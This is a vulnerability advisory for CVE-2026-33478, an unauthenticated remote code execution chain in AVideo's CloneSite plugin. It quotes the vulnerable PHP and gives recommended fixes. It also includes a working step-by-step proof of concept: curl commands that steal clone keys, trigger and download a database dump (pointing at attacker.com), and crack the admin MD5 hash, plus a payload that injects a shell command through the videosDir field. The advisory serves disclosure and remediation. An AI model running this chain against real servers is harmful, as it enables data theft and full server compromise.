CVE-2026-33478: AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection

Summary

Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.

Details

Step 1: Clone Key Disclosure

plugin/CloneSite/clones.json.php:1-8 has zero authentication:

php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}

The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.

Step 2: Database Dump via Stolen Key

plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:

php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);

The SQL file path is returned in the JSON response and is downloadable.

Step 3: Admin Credential Extraction

objects/user.php:1798 — passwords are stored as unsalted MD5:

php $passEncoded = md5($pass);

The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.

Step 4: Command Injection via Rsync

plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:

php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);

An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.

PoC

bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."

Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"

Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")

Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password

Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell

Impact

- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems

Recommended Fix

1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }

2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.

3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);

4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );